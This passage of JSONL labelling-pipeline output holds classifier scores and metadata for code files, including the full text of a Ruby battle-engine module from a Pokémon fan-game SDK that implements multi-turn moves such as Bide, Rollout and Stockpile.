"missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10894, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10894, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:12.077469+00:00", "scoring_key_slot": "primary", "dataset_uid": "e75b7996-fa12-4ef5-8a28-6aeb0da0ebc8", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "b5678ee29a52bde1788f8e4931b96c011ef5d2475ba96ec2cd3c62c483272d88", "source_metadata": {"uuid": "e75b7996-fa12-4ef5-8a28-6aeb0da0ebc8", "repo_name": "toshi0328/gmath3D", "relative_path": "lib/tri_mesh.rb", "category": "ALGO", "algo_rel_score": 0.9716749787330627, "quality_score": 4.729296684265137, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 70, "repo_created_at": "2011-09-21T11:47:59.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 6, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "efa670dac9b443dfe2f1f686263806cbd39078db", "size_bytes": 7933, "file_timestamp": 1323565500, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "a90fc3bfbc447af0585632e8d6a68aeae6f5bcc4"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 70, "repo_created_at": "2011-09-21T11:47:59.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 6, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "efa670dac9b443dfe2f1f686263806cbd39078db", "size_bytes": 7933, "file_timestamp": 1323565500, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "a90fc3bfbc447af0585632e8d6a68aeae6f5bcc4", "url": "https://github.com/toshi0328/gmath3D/blob/a90fc3bfbc447af0585632e8d6a68aeae6f5bcc4/lib/tri_mesh.rb"}, "gpt4o_tokens": 2252, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7465677985793995, "noise_severity": 0.016245039858067068, "missing_content_severity": 0.018719196395024885, "factual_density": 3.4410056102134834, "pretraining_utility": 0.515575898990029, "math_density": 3.0726627149682706, "code_density": 3.848540526063771, "reasoning_density": 0.7687037898644368, "education_level": 2.25369973734756, "creative_writing_quality": -0.4146427648168059}, "score_applicability": {"education_level": 0.9991112427274738, "creative_writing_quality": 0.0006182269913228075}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Marco-Puig/Thunder-Lightning/blob/6a66b294ad8ef1e0eb4ce97e665c73ff243d77a5/pokemonsdk/scripts/01500%20Alpha%2024%20Battle%20Engine%20%28deprecated%29/01700%20BattleEngine/01000%20BattleEngine___Skill_Multi_Turns.rb", "id": "ruby-0-7b2e6d01567756fd703ad1f3bf2e85b8", "text": "#encoding: utf-8\n\n#noyard\nmodule BattleEngine\n module_function\n\n # 2 turns skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_2turns(launcher, target, skill, msg_push = true)\n #> If it didn't make the wait turn / Power Herb\n unless launcher.battle_effect.has_forced_attack? || (skill.id == 76 && $env.sunny?) || _has_item(launcher, 271)\n _message_stack_push([:change_dfe, launcher, 1]) if skill.id == 130\n oor = GameData::Skill.get_out_of_reach_type(skill.db_symbol)\n _message_stack_push([:apply_out_of_reach, launcher, oor]) if oor\n id_txt = GameData::Skill.get_2turns_announce(skill.db_symbol)\n _message_stack_push([:msg, parse_text_with_pokemon(19, id_txt, launcher)]) if id_txt\n _message_stack_push([:force_attack, launcher, target, skill, 2])\n return\n end\n #> Power Herb\n if _has_item(launcher, 271)\n _mp([:set_item, launcher, 0, true])\n end\n #> Solar Beam -> Sandstorm / Hail / Rain\n skill.power2 = skill.power / 2 if skill.id == 76 && ($env.sandstorm? || $env.hail? || $env.rain?)\n _message_stack_push([:apply_out_of_reach, launcher, 0])\n s_basic(launcher, target, skill)\n skill.power2 = nil\n end\n\n # Bide skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_bide(launcher, target, skill, msg_push = true)\n counter = launcher.battle_effect.get_forced_attack_counter\n #> Inactive Bide\n if counter == 0\n _message_stack_push([:use_skill_msg, launcher, target, skill])\n _mp([:msg, parse_text_with_pokemon(19, 745, launcher)])\n _mp([:apply_effect, launcher, :apply_bide])\n _mp([:apply_effect, launcher, :apply_forced_attack, skill.id, rand(2)+3, target])\n elsif counter == 1\n _mp([:apply_effect, launcher, :apply_forced_attack, 0, 0, target])\n _mp([:msg, parse_text_with_pokemon(19, 748, launcher)])\n return false unless __s_beg_step(launcher, target, skill, false)\n hp = launcher.battle_effect.get_bide_power * 2\n if hp > 0\n _mp([:hp_down, target, hp])\n else\n _mp(MSG_Fail)\n end\n @_State[:ext_info] = true\n end\n end\n\n # Focus Energy skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_focus_energy(launcher, target, skill, msg_push = true)\n return false unless __s_beg_step(launcher, target, skill, msg_push)\n target = _snatch_check(target, skill)\n _message_stack_push([:msg, parse_text_with_pokemon(19, 616, target)])\n _message_stack_push([:apply_effect, target, :apply_focus_energy])\n end\n \n # Fury Cutter skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_fury_cutter(launcher, target, skill, msg_push = true)\n be = launcher.battle_effect\n if be.fury_cutter_power > 0\n skill.power2 = be.fury_cutter_power * 2\n skill.power2 = 160 if skill.power2 >= 160\n end\n if s_basic(launcher, target, skill)\n be.fury_cutter_power = skill.power\n else\n be.fury_cutter_power = 0\n end\n skill.power2 = nil\n end\n\n # Future Sight / Domm Desire skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_future_sight(launcher, target, skill, msg_push = true)\n skill.type2 = 0\n fail = !__s_beg_step(launcher, target, skill, msg_push)\n #> \"Future Sight cannot be used on a target multiple times; it must complete before it may be used on a target again\"\n if target.battle_effect.is_locked_by_future_skill? || launcher.battle_effect.has_future_skill?\n return _mp(MSG_Fail)\n end\n hp = _damage_calculation(launcher, target, skill).to_i\n hp*=0 if fail\n skill.type2 = nil\n if skill.id == 248 # Future Sight\n _message_stack_push([:msg, parse_text_with_pokemon(19, 1080, launcher)])\n else\n _message_stack_push([:msg, parse_text_with_pokemon(19, 1083, launcher)])\n end\n _message_stack_push([:future_skill, target, hp, 3, skill.id])\n end\n\n # Geomancy 2 turns skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_geomancy(launcher, target, skill, msg_push = true)\n #> If the Pokémon didn't wait / Power Herb\n unless(launcher.battle_effect.has_forced_attack? || _has_item(launcher, 271))\n id_txt = GameData::Skill.get_2turns_announce(skill.db_symbol)\n _message_stack_push([:msg, parse_text_with_pokemon(19, id_txt, launcher)]) if id_txt\n _message_stack_push([:force_attack, launcher, target, skill, 2])\n return\n end\n #> Power Herb\n if(_has_item(launcher, 271))\n _mp([:set_item, launcher, 0, true])\n end\n s_stat(launcher, target, skill)\n end\n \n # Outrage & Petal Danse definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_outrage(launcher, target, skill, msg_push = true)\n #> Petal Danse : random enemy\n if skill.id == 80\n target = _random_target_selection(launcher, target)\n end\n result = s_basic(launcher, target, skill)\n counter = launcher.battle_effect.get_forced_attack_counter\n #> Inactive Outrage\n if counter == 0\n return unless result\n _mp([:apply_effect, launcher, :apply_forced_attack, skill.id, rand(2)+2, target]) unless @_State[:ext_info]\n @_State[:ext_info] = true\n elsif counter == 1 || !result\n unless @_State[:ext_info]\n _mp([:apply_effect, launcher, :apply_forced_attack, 0, 0, target])\n _mp([:status_confuse, launcher, true, 360])\n end\n @_State[:ext_info] = true\n end\n end\n\n # Reload skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_reload(launcher, target, skill, msg_push = true)\n if launcher.battle_effect.must_reload\n _message_stack_push([:msg, parse_text_with_pokemon(19, 851, launcher)])\n else\n s_basic(launcher, target, skill)\n _message_stack_push([:set_reload_state, launcher])\n end\n end\n\n # Rollout skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_rollout(launcher, target, skill, msg_push = true)\n be = launcher.battle_effect\n #> Defense Curl\n if launcher.last_skill == 111\n skill.power2 = skill.power * 2\n elsif be.rollout_power > 0\n skill.power2 = be.rollout_power\n end\n result = s_basic(launcher, target, skill)\n #> Inactive Rollout\n if be.get_forced_attack_counter == 0\n if result\n _mp([:apply_effect, launcher, :apply_forced_attack, skill.id, 5, target])\n _mp([:apply_effect, launcher, :rollout_power=, 2 * skill.power])\n else\n _mp([:apply_effect, launcher, :rollout_power=, 0])\n end\n elsif be.get_forced_attack_counter == 1 || !result\n _mp([:apply_effect, launcher, :apply_forced_attack, 0, 0, target])\n _mp([:apply_effect, launcher, :rollout_power=, 0])\n else\n _mp([:apply_effect, launcher, :rollout_power=, 2 * skill.power])\n end\n skill.power2 = nil\n end\n\n # Stockpile skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_stockpile(launcher, target, skill, msg_push = true)\n return false unless __s_beg_step(launcher, target, skill, msg_push)\n stockpile_counter = launcher.battle_effect.stockpile\n if stockpile_counter < 3\n stockpile_counter += 1\n _mp([:msg, parse_text_with_pokemon(19, 721, launcher, \"[VAR NUM1(0001)]\" => stockpile_counter.to_s)])\n _mp([:apply_effect, launcher, :stockpile=, stockpile_counter])\n else\n _mp(MSG_Fail)\n end\n end\n\n # Split Up skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_split_up(launcher, target, skill, msg_push = true)\n stockpile_counter = launcher.battle_effect.stockpile\n if stockpile_counter > 0\n skill.power2 = stockpile_counter * 100\n s_basic(launcher, target, skill)\n skill.power2 = nil\n else\n _message_stack_push([:use_skill_msg, launcher, target, skill]) if msg_push\n _mp(MSG_Fail)\n end\n _mp([:apply_effect, launcher, :stockpile=, 0])\n end\n\n # Swallow skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_swallow(launcher, target, skill, msg_push = true)\n return false unless __s_beg_step(launcher, target, skill, msg_push)\n stockpile_counter = launcher.battle_effect.stockpile\n target = _snatch_check(target, skill)\n if stockpile_counter > 0 && target.hp != target.max_hp\n hp = (launcher.max_hp * 2**(stockpile_counter - 3)).to_i\n _mp([:hp_up, target, hp])\n else\n _mp(MSG_Fail)\n end\n _mp([:apply_effect, launcher, :stockpile=, 0])\n end\n\n # Thrash skill definition\n # @param launcher [PFM::Pokemon] user of the move\n # @param target [PFM::Pokemon] target of the move\n # @param skill [PFM::Skill] move that is currently used\n def s_thrash(launcher, target, skill, msg_push = true)\n target = _random_target_selection(launcher, target)\n return unless __s_beg_step(launcher, target, skill, msg_push)\n return _mp(MSG_Fail) if launcher == target\n hp=_damage_calculation(launcher, target, skill).to_i\n __s_hp_down_check(hp, target, true, false)\n if(launcher.battle_effect.get_forced_attack_counter == 1 && !launcher.battle_effect.thrash_incomplete)\n _message_stack_push([:status_confuse, launcher, true, 360])\n end\n unless launcher.battle_effect.has_forced_attack?\n _message_stack_push([:force_attack, launcher, launcher, skill, 2 + rand(2)])\n end\n end\n \nend", "text_preview": "#encoding: utf-8 #noyard module BattleEngine module_function # 2 turns skill definition # @param launcher [PFM::Pokemon] user of the move # @param target [PFM::Pokemon] target of the move # @param skill [PFM::Skill] move that is currently u", "input_sha256": "1bb81a9bfa2a79b0358eba27bc150e1b2180081a247a33d2d66e50017bb2244d", "text_sha256": "7b2e6d01567756fd703ad1f3bf2e85b804c4f8df74e425a8ebca8462a822b34b", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16094, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "needs_review", "training_eligible": false, "label": null, "candidate_label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": {"main_topic": "Games & Gaming", "sub_topic": null}}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9573021061686491, "noise_severity": 0.07997767059226381, "missing_content_severity": 0.01740042660581181, "factual_density": 3.5165833603574264, "pretraining_utility": 0.3519946397141489, "math_density": 0.9390936407435198, "code_density": 3.876422635348667, "reasoning_density": 0.9403451466219247, "education_level": 2.1443104138668736, "creative_writing_quality": -0.4595399629390497}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "Games & Gaming"}, "review_reasons": ["secondary_topic probability 0.4441 below 0.70", "secondary_topic vs NONE margin 0.0047 below 0.10"], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.018695373872005594, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9978101741533242, "secondary": 0.9704988664105347, "tertiary": 0.9900070826248015, "structured_records": 0.07235551651687189, "procedural_steps": 0.0027921691167454004, "worked_solution": 0.0018732027239689636, "contextual_dialogue": 7.092941354947734e-06, "content_quality": 0.5494599013700063, "noise_severity": 0.9333519411731135, "missing_content_severity": 0.9854996444951568, "factual_density": 0.5971528002978552, "pretraining_utility": 0.4549804567224963, "math_density": 0.21742196604706698, "code_density": 0.8970188627905554, "reasoning_density": 0.2163790444817295, "education_level": 0.6398648138738022, "creative_writing_quality": 0.9996002515591156, "primary_topic": 0.9066081668629428, "secondary_topic": 0.4218648910798912}, "probability_margin": {"primary": 0.9968560475815995, "secondary": 0.954398727778037, "tertiary": 0.984723626978424, "education_level": 0.5376700668369185, "creative_writing_quality": 0.9995403181958579, "primary_topic": 0.825623979030646, "secondary_topic": 0.004744663756218681}, "raw_probabilities": {"primary": {"Academic Writing": 1.8713674181969368e-05, "Content Listing": 1.9206317481566788e-05, "Creative Writing": 2.1024764216663907e-05, "Customer Support Page": 4.606444254568932e-06, "Q&A Forum": 6.178664246633204e-06, "Discussion Thread": 4.252823702888647e-06, "Comment Section": 7.501902915019416e-06, "Missing Content": 1.4221631347867296e-05, "Knowledge Article": 6.285622852706685e-05, "Legal Notices": 1.4684959538641325e-05, "News Article": 2.3674558412974835e-06, "Organizational Announcement": 6.775824365935568e-06, "Nonfiction Writing": 5.998186302776054e-06, "Organizational About Page": 5.9931659672553325e-06, "Personal About Page": 6.704264261121612e-06, "Personal Blog": 5.088621516872706e-06, "Product Page": 4.71287749802776e-06, "Spam / Ads": 5.613625698418986e-06, "Structured Data": 0.0006732709627749511, "Technical Writing": 0.9979014168969357, "Transcript / Interview": 8.933415498430633e-06, "Tutorial / How-To Guide": 0.0001503840178044331, "User Reviews": 4.123959785836288e-06, "Other / Unknown": 0.0010453693153361855}, "secondary": {"Academic Writing": 0.00015144204736983983, "Content Listing": 0.00019874244556479374, "Creative Writing": 0.00018834959036018373, "Customer Support Page": 7.175418646629636e-05, "Q&A Forum": 4.8961605173242784e-05, "Discussion Thread": 4.500675887951667e-05, "Comment Section": 0.00012978354239221712, "Missing Content": 0.00030439174720740445, "Knowledge Article": 0.0015540709743700736, "Legal Notices": 0.00015205405989820992, "News Article": 6.88912103747723e-05, "Organizational Announcement": 6.914577343442365e-05, "Nonfiction Writing": 6.969068243502577e-05, "Organizational About Page": 7.410855202109141e-05, "Personal About Page": 6.645236877541775e-05, "Personal Blog": 5.748738656919824e-05, "Product Page": 4.348344385532078e-05, "Spam / Ads": 7.990281846429023e-05, "Structured Data": 0.0068700588288862895, "Technical Writing": 0.017329352532058823, "Transcript / Interview": 8.363499943949952e-05, "Tutorial / How-To Guide": 0.0005796720039798998, "User Reviews": 3.548213192832237e-05, "NONE": 0.9717280803100958}, "tertiary": {"Academic Writing": 6.120161483436498e-05, "Content Listing": 9.397501927063758e-05, "Creative Writing": 9.346302197680674e-05, "Customer Support Page": 2.9301382181155863e-05, "Q&A Forum": 1.726890756153882e-05, "Discussion Thread": 1.7067157145675458e-05, "Comment Section": 0.00010660505865805075, "Missing Content": 0.00030914328217665775, "Knowledge Article": 0.0007019754960695688, "Legal Notices": 0.00015527654111854508, "News Article": 2.9450435934834808e-05, "Organizational Announcement": 2.9868602158372968e-05, "Nonfiction Writing": 3.4069709000207924e-05, "Organizational About Page": 4.0226917943859905e-05, "Personal About Page": 2.5544156538706268e-05, "Personal Blog": 2.75887809170979e-05, "Product Page": 1.951291690234186e-05, "Spam / Ads": 4.229761221302613e-05, "Structured Data": 0.001538314304810421, "Technical Writing": 0.005699827203677422, "Transcript / Interview": 3.0060420486637256e-05, "Tutorial / How-To Guide": 0.0004587793103774593, "User Reviews": 1.5727965945185184e-05, "NONE": 0.9904234541821014}, "structured_records": {"false": 0.9276444834831281, "true": 0.07235551651687189}, "procedural_steps": {"false": 0.9972078308832546, "true": 0.0027921691167454004}, "worked_solution": {"false": 0.998126797276031, "true": 0.0018732027239689636}, "contextual_dialogue": {"false": 0.9999929070586451, "true": 7.092941354947734e-06}, "content_quality": {"-2": 0.00693639869475029, "-1": 0.024201315037713445, "0": 0.22246117993399397, "1": 0.4974259940712216, "2": 0.24897511226232072}, "noise_severity": {"0": 0.9250107553270382, "1": 0.07177790702696965, "2": 0.001979762154294315, "3": 0.000686062710086005, "4": 0.0005455127816118781}, "missing_content_severity": {"0": 0.9905021120269561, "1": 0.0036864192512672655, "2": 0.004017875625533088, "3": 0.0014961162814959004, "4": 0.0002974768147476666}, "factual_density": {"0": 0.0022594232915630593, "1": 0.004416576216049192, "2": 0.053731560788847735, "3": 0.3536660962504785, "4": 0.5859263434530615}, "pretraining_utility": {"-2": 0.010818608850636626, "-1": 0.12937718840815454, "0": 0.421923404678346, "1": 0.3727525503021488, "2": 0.06512824776071392}, "math_density": {"0": 0.47165395215747585, "1": 0.3005199938461094, "2": 0.11919003310765311, "3": 0.034350502872942945, "4": 0.07428551801581881}, "code_density": {"0": 0.0002616490214384137, "1": 0.0005212370199302635, "2": 0.013071221709752277, "3": 0.09482461408628445, "4": 0.8913212781625947}, "reasoning_density": {"0": 0.5862975312999643, "1": 0.12023007384153905, "2": 0.13841854803895665, "3": 0.07693741057568748, "4": 0.07811643624385244}, "education_level": {"none": 0.0026664004942588363, "0": 0.002585195925862853, "1": 0.09280294098414381, "2": 0.6998873448948352, "3": 0.1622172780579167, "4": 0.039840839642982594}, "creative_writing_quality": {"not_applicable": 0.999666876299263, "-2": 7.152640457272412e-05, "-1": 7.938030980126362e-05, "0": 0.0001265581034050939, "1": 4.1968300059777666e-05, "2": 1.3690582898080834e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00016621009811013015, "Art & Design": 0.0002662278424928879, "Law & Crime": 0.00014160649424290394, "Education & Careers": 0.00011772428887821189, "Entertainment & Media": 0.0013061379856972157, "Fashion & Beauty": 0.0001720889005883443, "Business, Economics & Finance": 0.00012630177309835668, "Food & Dining": 0.00011306684390308663, "Games & Gaming": 0.08457618141449129, "Electronics & Hardware": 0.00011157088929225407, "Health, Healthcare & Wellness": 9.709587108820057e-05, "History & Geography": 0.00014102241071901742, "Home, Pets & Hobbies": 0.00020113753607772358, "Industry & Production": 0.00010473436301567845, "Language, Literature & Philosophy": 0.0001256888458464007, "Politics & Government": 7.308078096073671e-05, "Religion & Spirituality": 0.00011697358127863729, "Science, Mathematics & Engineering": 0.00034111367706963325, "Relationships & Community": 9.182053344944275e-05, "Software Usage & Applications": 0.00039592206404926773, "Programming & Software Engineering": 0.9102001604451373, "Sports & Fitness": 0.0003143508561910833, "Vehicles & Transportation": 6.259449060684775e-05, "Travel & Tourism": 0.0001317812159678626, "Other / Uncovered Subject": 0.00031256054144341444, "Unknown / Insufficient Content": 0.00019284625630411329}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008487484670038394, "Art & Design": 0.0008054797807475065, "Law & Crime": 0.0005233457653708205, "Education & Careers": 0.0003817776711916783, "Entertainment & Media": 0.004370260069707401, "Fashion & Beauty": 0.0004673517712071965, "Business, Economics & Finance": 0.0005256627168307919, "Food & Dining": 0.0003738197271658759, "Games & Gaming": 0.4441008568075877, "Electronics & Hardware": 0.0004176807824956789, "Health, Healthcare & Wellness": 0.00041938612546381615, "History & Geography": 0.00037967937353698716, "Home, Pets & Hobbies": 0.0007115947658010561, "Industry & Production": 0.00034778097280569413, "Language, Literature & Philosophy": 0.00031922980760373766, "Politics & Government": 0.00023102606386436554, "Religion & Spirituality": 0.0004432048995517196, "Science, Mathematics & Engineering": 0.0006636706038130876, "Relationships & Community": 0.0002665160160417191, "Software Usage & Applications": 0.000674527039200197, "Programming & Software Engineering": 0.10122360496579137, "Sports & Fitness": 0.0005341217533666373, "Vehicles & Transportation": 0.00020796768273135364, "Travel & Tourism": 0.0005580472966764492, "Other / Uncovered Subject": 0.0008484660230743726, "NONE": 0.439356193051369}}, "probabilities": {"primary": {"Academic Writing": 1.8713674181969368e-05, "Content Listing": 1.9206317481566788e-05, "Creative Writing": 2.1024764216663907e-05, "Customer Support Page": 4.606444254568932e-06, "Q&A Forum": 6.178664246633204e-06, "Discussion Thread": 4.252823702888647e-06, "Comment Section": 7.501902915019416e-06, "Missing Content": 1.4221631347867296e-05, "Knowledge Article": 6.285622852706685e-05, "Legal Notices": 1.4684959538641325e-05, "News Article": 2.3674558412974835e-06, "Organizational Announcement": 6.775824365935568e-06, "Nonfiction Writing": 5.998186302776054e-06, "Organizational About Page": 5.9931659672553325e-06, "Personal About Page": 6.704264261121612e-06, "Personal Blog": 5.088621516872706e-06, "Product Page": 4.71287749802776e-06, "Spam / Ads": 5.613625698418986e-06, "Structured Data": 0.0006732709627749511, "Technical Writing": 0.9979014168969357, "Transcript / Interview": 8.933415498430633e-06, "Tutorial / How-To Guide": 0.0001503840178044331, "User Reviews": 4.123959785836288e-06, "Other / Unknown": 0.0010453693153361855}, "secondary": {"Academic Writing": 0.00015144204736983983, "Content Listing": 0.00019874244556479374, "Creative Writing": 0.00018834959036018373, "Customer Support Page": 7.175418646629636e-05, "Q&A Forum": 4.8961605173242784e-05, "Discussion Thread": 4.500675887951667e-05, "Comment Section": 0.00012978354239221712, "Missing Content": 0.00030439174720740445, "Knowledge Article": 0.0015540709743700736, "Legal Notices": 0.00015205405989820992, "News Article": 6.88912103747723e-05, "Organizational Announcement": 6.914577343442365e-05, "Nonfiction Writing": 6.969068243502577e-05, "Organizational About Page": 7.410855202109141e-05, "Personal About Page": 6.645236877541775e-05, "Personal Blog": 5.748738656919824e-05, "Product Page": 4.348344385532078e-05, "Spam / Ads": 7.990281846429023e-05, "Structured Data": 0.0068700588288862895, "Technical Writing": 0.017329352532058823, "Transcript / Interview": 8.363499943949952e-05, "Tutorial / How-To Guide": 0.0005796720039798998, "User Reviews": 3.548213192832237e-05, "NONE": 0.9717280803100958}, "tertiary": {"Academic Writing": 6.120161483436498e-05, "Content Listing": 9.397501927063758e-05, "Creative Writing": 9.346302197680674e-05, "Customer Support Page": 2.9301382181155863e-05, "Q&A Forum": 1.726890756153882e-05, "Discussion Thread": 1.7067157145675458e-05, "Comment Section": 0.00010660505865805075, "Missing Content": 0.00030914328217665775, "Knowledge Article": 0.0007019754960695688, "Legal Notices": 0.00015527654111854508, "News Article": 2.9450435934834808e-05, "Organizational Announcement": 2.9868602158372968e-05, "Nonfiction Writing": 3.4069709000207924e-05, "Organizational About Page": 4.0226917943859905e-05, "Personal About Page": 2.5544156538706268e-05, "Personal Blog": 2.75887809170979e-05, "Product Page": 1.951291690234186e-05, "Spam / Ads": 4.229761221302613e-05, "Structured Data": 0.001538314304810421, "Technical Writing": 0.005699827203677422, "Transcript / Interview": 3.0060420486637256e-05, "Tutorial / How-To Guide": 0.0004587793103774593, "User Reviews": 1.5727965945185184e-05, "NONE": 0.9904234541821014}, "structured_records": {"false": 0.9276444834831281, "true": 0.07235551651687189}, "procedural_steps": {"false": 0.9972078308832546, "true": 0.0027921691167454004}, "worked_solution": {"false": 0.998126797276031, "true": 0.0018732027239689636}, "contextual_dialogue": {"false": 0.9999929070586451, "true": 7.092941354947734e-06}, "content_quality": {"-2": 0.00693639869475029, "-1": 0.024201315037713445, "0": 0.22246117993399397, "1": 0.4974259940712216, "2": 0.24897511226232072}, "noise_severity": {"0": 0.9250107553270382, "1": 0.07177790702696965, "2": 0.001979762154294315, "3": 0.000686062710086005, "4": 0.0005455127816118781}, "missing_content_severity": {"0": 0.9905021120269561, "1": 0.0036864192512672655, "2": 0.004017875625533088, "3": 0.0014961162814959004, "4": 0.0002974768147476666}, "factual_density": {"0": 0.0022594232915630593, "1": 0.004416576216049192, "2": 0.053731560788847735, "3": 0.3536660962504785, "4": 0.5859263434530615}, "pretraining_utility": {"-2": 0.010818608850636627, "-1": 0.12937718840815457, "0": 0.42192340467834605, "1": 0.3727525503021489, "2": 0.06512824776071394}, "math_density": {"0": 0.47165395215747585, "1": 0.3005199938461094, "2": 0.11919003310765311, "3": 0.034350502872942945, "4": 0.07428551801581881}, "code_density": {"0": 0.0002616490214384137, "1": 0.0005212370199302635, "2": 0.013071221709752277, "3": 0.09482461408628445, "4": 0.8913212781625947}, "reasoning_density": {"0": 0.5862975312999644, "1": 0.12023007384153907, "2": 0.13841854803895667, "3": 0.0769374105756875, "4": 0.07811643624385245}, "education_level": {"none": 0.0026664004942588363, "0": 0.002585195925862853, "1": 0.09280294098414381, "2": 0.6998873448948352, "3": 0.1622172780579167, "4": 0.039840839642982594}, "creative_writing_quality": {"not_applicable": 0.9996668762992631, "-2": 7.152640457272414e-05, "-1": 7.938030980126364e-05, "0": 0.00012655810340509393, "1": 4.196830005977767e-05, "2": 1.3690582898080836e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00016621009811013015, "Art & Design": 0.0002662278424928879, "Law & Crime": 0.00014160649424290394, "Education & Careers": 0.00011772428887821189, "Entertainment & Media": 0.0013061379856972157, "Fashion & Beauty": 0.0001720889005883443, "Business, Economics & Finance": 0.00012630177309835668, "Food & Dining": 0.00011306684390308663, "Games & Gaming": 0.08457618141449129, "Electronics & Hardware": 0.00011157088929225407, "Health, Healthcare & Wellness": 9.709587108820057e-05, "History & Geography": 0.00014102241071901742, "Home, Pets & Hobbies": 0.00020113753607772358, "Industry & Production": 0.00010473436301567845, "Language, Literature & Philosophy": 0.0001256888458464007, "Politics & Government": 7.308078096073671e-05, "Religion & Spirituality": 0.00011697358127863729, "Science, Mathematics & Engineering": 0.00034111367706963325, "Relationships & Community": 9.182053344944275e-05, "Software Usage & Applications": 0.00039592206404926773, "Programming & Software Engineering": 0.9102001604451373, "Sports & Fitness": 0.0003143508561910833, "Vehicles & Transportation": 6.259449060684775e-05, "Travel & Tourism": 0.0001317812159678626, "Other / Uncovered Subject": 0.00031256054144341444, "Unknown / Insufficient Content": 0.00019284625630411329}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008487484670038394, "Art & Design": 0.0008054797807475065, "Law & Crime": 0.0005233457653708205, "Education & Careers": 0.0003817776711916783, "Entertainment & Media": 0.004370260069707401, "Fashion & Beauty": 0.0004673517712071965, "Business, Economics & Finance": 0.0005256627168307919, "Food & Dining": 0.0003738197271658759, "Games & Gaming": 0.4441008568075877, "Electronics & Hardware": 0.0004176807824956789, "Health, Healthcare & Wellness": 0.00041938612546381615, "History & Geography": 0.00037967937353698716, "Home, Pets & Hobbies": 0.0007115947658010561, "Industry & Production": 0.00034778097280569413, "Language, Literature & Philosophy": 0.00031922980760373766, "Politics & Government": 0.00023102606386436554, "Religion & Spirituality": 0.0004432048995517196, "Science, Mathematics & Engineering": 0.0006636706038130876, "Relationships & Community": 0.0002665160160417191, "Software Usage & Applications": 0.000674527039200197, "Programming & Software Engineering": 0.10122360496579137, "Sports & Fitness": 0.0005341217533666373, "Vehicles & Transportation": 0.00020796768273135364, "Travel & Tourism": 0.0005580472966764492, "Other / Uncovered Subject": 0.0008484660230743726, "NONE": 0.439356193051369}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, 